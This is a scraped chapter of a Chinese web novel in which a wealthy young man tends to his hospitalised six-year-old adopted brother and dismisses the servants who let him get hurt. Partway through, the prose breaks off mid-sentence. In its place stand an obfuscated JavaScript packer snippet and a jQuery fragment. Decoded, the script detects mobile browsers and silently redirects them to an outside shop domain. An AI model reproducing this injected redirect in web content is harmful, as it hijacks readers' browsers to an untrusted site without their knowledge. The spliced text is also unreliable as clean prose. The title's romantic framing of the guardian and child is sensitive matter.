文趣网 > 都市小说 > 占有欲Daddy是我老公? > 10. 体贴入微
    鹅卵石不可能那么锋利,绝对被人动了手脚。他没想到,不过一年的安稳日子,就有人把主意打到了江瓷身上。

    他才六岁。这些人,究竟要到什么时候才肯罢休?

    陆时影见江瓷睡沉了,才轻轻将他抱起来,找了个VIP病房,把小朋友放进被窝里,仔细掖好被角。

    自从来到陆家庄园,他一直都在努力扮演好哥哥这个角色,把小家伙养胖了许多。

    现在那张小脸圆嘟嘟的,胳膊一节一节全是软肉,白白胖胖的,没让他受过半点委屈。

    可因为他的疏忽,没有亲自检查别墅内外是否适合小孩活动,差点就失去了这个弟弟。

    陆时影俯身,在江瓷额头上轻轻落下一吻,起身走到门外,看见那些跪在地上、一声不吭的佣人。

    他冷眼扫向老张:“装修游乐园的工人、送建材的、清理垃圾的,全都给我查一遍。每个人的住处、姓名、电话,来往信息和履历,一个都别漏。还有,是谁给小瓷涂的红霉素?我以前是不是跟你们说过他有药物过敏史?不知道就不要乱涂药。”

    两个佣人缩着脖子不敢吭声,陈姨也被吓得愣住了,嘴唇哆嗦着,一句话都没说出来。

    陆时影揉了揉太阳穴,头疼地闭了闭眼:“全部开除。以后进来的职工,我亲自考核。”

    佣人们一听,立马磕头求饶:“不是我,少爷,您放过我吧,我真的急需这份工作……是小林拿的红霉素,她想着能防止感染,因为小少爷很久没生病、也没划伤过,我们就忘记了……”

    旁边的小林也哭着辩解:“我不知道……我以前没有听清楚培训内容……少爷,这真的不怪我们,本来一直跟着,小朋友跑得实在太快了。”

    陆时影心烦意乱,挥了挥手:“张叔,调监控。看她们那个时候在干什么。”

    听到这话,两人心下一惊。当时她们想着趁孩子自己跑会儿,稍微歇一歇,所以才没有寸步不离地跟着,只是慢悠悠地坠在后面聊天。

    如果调游乐园前面那个路灯口的监控,还是能看到她们身影的。

    毕竟带孩子有时真会累,偶尔偷个懒,原以为没什么大不了。谁想到运气就这么差,偏偏在那个时候,小孩出了事。

    老张走上前,低声说:“陈姨只是接了个电话,才没看住孩子。少爷,要不给她一次……”

    陆时影冷声打断:“忘了别墅的规矩?零错误,零容忍。”

    老张没再说什么,点了点头,退到一旁跟佣人们交代处理事宜。

    陈姨抹了抹眼泪,也不好再辩,确实是她接电话打了太久,没留意小孩跑到哪儿去了。

    平日里小朋友上学期间,也该在别墅附近巡逻检查路面状况的,是她疏忽了。

    -

    外面的天一点点暗下去,暴雨猝然而至。风裹着湿气,嗖嗖地掠过窗缝,带着一阵又一阵的呼啸声。

    才下午四点多,天空却已黑沉沉地压下来,乌云翻涌,像谁把整座城市的灯一盏盏熄了,只余下灰蒙蒙的雨幕,铺天盖地。

    说不清为什么,今年的雨,格外多。

    陆时影站在病房里,隔着阳台的玻璃门望向室外。暴雨倾盆而下,像极了他此刻郁结的心情。

    天色越来越沉,他就那样一动不动地立在窗前,整个人笼在阴影里,死气沉沉。

    那年的天,也是这么暗,这么沉,地下室阴森森的又冷,他甚至不知道自己是怎么活下来的。

    “呜……”

    陆时影听到动静,回忆骤然中断。他快步走到病床边,看见白色棉被里的小孩哼唧了两声,正抬手要揉眼睛,被他轻轻按住了胳膊。

    “别动,手上有针。”

    小朋友睁开眼睛,第一个看见的是挂在头顶的吊瓶。

    手臂麻麻的,手背又酸又胀,浑身都不舒服。

    陆时影伸手摸了摸他的脸:“小瓷,你发烧了,还在打退烧针,手不能乱动。”

    江瓷听完,立刻乖乖不动了。头晕乎乎的,肚子也饿得咕咕叫。他伸出另一只小手,声音软糯:“哥哥……”

    陆时影牵起他肉嘟嘟的小手,贴在自己脸上:“嗯,我在。”

    江瓷眨了眨圆溜溜的眼睛,像是忽然想起了什么,小声问:“哥哥……是不是受伤的时候,流血流着流着就会睡着,然后……醒不来了,就变成星星了?”

    陆时影一愣。江瓷六岁了,上了幼儿园大班,学了不少东西,加上平时看动画片,慢慢对死亡有了模糊的概念。

    “嗯。”他低声应道。

    江瓷眼圈泛红,圆圆的眼睛里蓄满了水光,小声咕哝着:“那我变成星星,就可以看见爸爸妈妈了……”

    陆时影心头一紧,低头亲了亲他白皙的小手,嗓音低沉而温柔:“不会。哥哥不会让你变成星星。你舍得丢下哥哥一个人离开吗?”

    江瓷使劲摇头。他没见过比陆时影更好的人了。

    每天给他做好多好吃的、接他放学、给他建游乐园、每天教他学习,做错了事也从来不打他。

    他不想离开哥哥,也不想变成星星,也许变成星星后,也不能跟爸爸妈妈说话,只能安安静静地挂在天上,孤零零的。

    “小瓷,饿不饿?我让人送饭过来。”陆时影摸了摸他的脑袋。

    江瓷用力点头。

    二十分钟左右,饭菜就送到了。这次来的是老张。

    江瓷左顾右盼,没看见陈姨,忽然想起以前也有个人犯了错,做饭没有把鱼刺挑干净,后来就再也没见过他了。

    “哥哥……你把陈姨和姐姐们都赶跑了吗?”江瓷抬起头问。

    陆时影拨弄着他额前的碎发,低声道:“陈姨的孩子生病了,停职一周,让她先回去了。”

    江瓷急了,一把抓住他的手指:“哥哥,是我不小心摔倒的,你不要把陈姨她们赶走……如果我走路小心一点就好了。”

    陆时影没接话。是陈姨打了电话喊私人医生及时过来的,所以他也没有立刻将她开除。

    江瓷晃了晃他的胳膊,那软乎乎的小胖手又白又嫩,瞧着让人想细心呵护,小家伙又懂事又心善。

    陆时影终于松口:“好,哥哥答应你,陈姨忙完会回来的。但另外两个佣人工作失职,还想隐瞒推卸责任,这种人不会再聘用。我会亲自筛选进来的人。”

    江瓷开心地晃了晃腿:“好!”

    陆时影打开饭盒,是儿童营养套餐,做得比较

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708595|208375||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    清淡,还有一碗鸡蛋羹,江瓷最爱吃的。

    他端着碗,低头轻轻吹了吹热气,用小勺子慢慢舀起来,递到小朋友嘴边。

    江瓷乖乖张开嘴,一边吃一边用小手指着虾仁:“唔唔唔,还要吃这个。”

    陆时影轻笑,又舀了一勺虾仁喂进他嘴里。小孩吃得眼睛都眯起来了,腮帮子鼓鼓的,像是小仓鼠囤粮。

    陆时影眼里这才有了点笑意,方才那些阴郁和不快都烟消云散。

    只要小朋友开心快乐地活着,就好。

    “好吃,好吃。”江瓷含含糊糊地说。

    老张站在门口,望着病房里温馨的一幕,少爷亲自喂饭,呵护着小家伙的模样,兄弟俩关系越来越好。

    他心中甚是满意,老爷和夫人这下该放心了,少爷总算慢慢走出了小时候那段恐惧的阴影。

    陆时影喂他吃了两碗饭,一碗虾仁,一碗鸡蛋羹,还有半碗南瓜汤。

    小朋友醒来后两顿没吃,胃口格外好,小肚子撑得圆滚滚的。生病了还能吃能喝,真是太乖了。

    “小瓷,其他小朋友住院都会大哭大闹、没胃口吃饭。你生病了还这么听话……心里没什么委屈和不舒服吗?”

    江瓷飞快地摇头。额头上方的输液管跟着晃了两下,陆时影怕碰到针头,伸手将管子轻轻固定住。

    陆时影又继续说:“咱们认识有一年了,宝宝。你还是个小朋友,委屈了可以说,痛了可以哭,不必要一直那么乖。”

    江瓷还是摇头。

    陆时影看着他的眼睛,双手捧着他圆润的小脸蛋,认真地说:“在哥哥面前,不需要表现自己。”

    江瓷脑子里词汇不多,但“表现”这个词他能听懂。

    他觉得自己乖一点,就可以一直待在陆家,讨人喜欢,不会被哥哥厌烦。幼儿园老师也总说,要当一个乖巧的小朋友。

    “宝宝。”

    江瓷猛地抬起头,小脑袋一扬,大大的眼睛里冲满了惊喜,妈妈也总这么叫他,说这是爱他的表现,不然不会这么喊。

    陆时影捏了捏他软乎乎的脸蛋:“乖宝宝,哥哥的话,一定要听。”

    江瓷这才磕磕巴巴地说出心里话:“是……是想表现得乖一点,就会讨人喜欢,哥哥就不会丢掉小瓷。如果不乖……”

    陆时影打断他,斩钉截铁:“不乖哥哥也不会丢下你。”

    江瓷有凝血障碍,体弱,倘若再送回去,那些亲戚里,没有一个人能把这个宝宝养大,甚至有可能被养死。

    江瓷猛地扑进他怀里,“哇”地一声哭了出来。

    陆时影一只手托着他输液的那只胳膊和枕头,另一只手轻轻拍着他的后背,安抚着。

    “乖宝宝。”

    可算是哭了。他总觉得这个小朋友太早熟了,懂得太多道理,这样下去,长大后性格会变得和他一样,记得太多痛苦。

    “哥哥……打针好痛,伤口也痛,不敢告诉你。”

    “没胃口吃饭,但是很饿,所以还是要吃饭……小瓷讨厌这样子。”

    “讨厌住院……小瓷想回家,不想在这里睡觉,这里味道不好闻。”

    “我希望哥哥每次出门的时候,把小瓷带在身边……”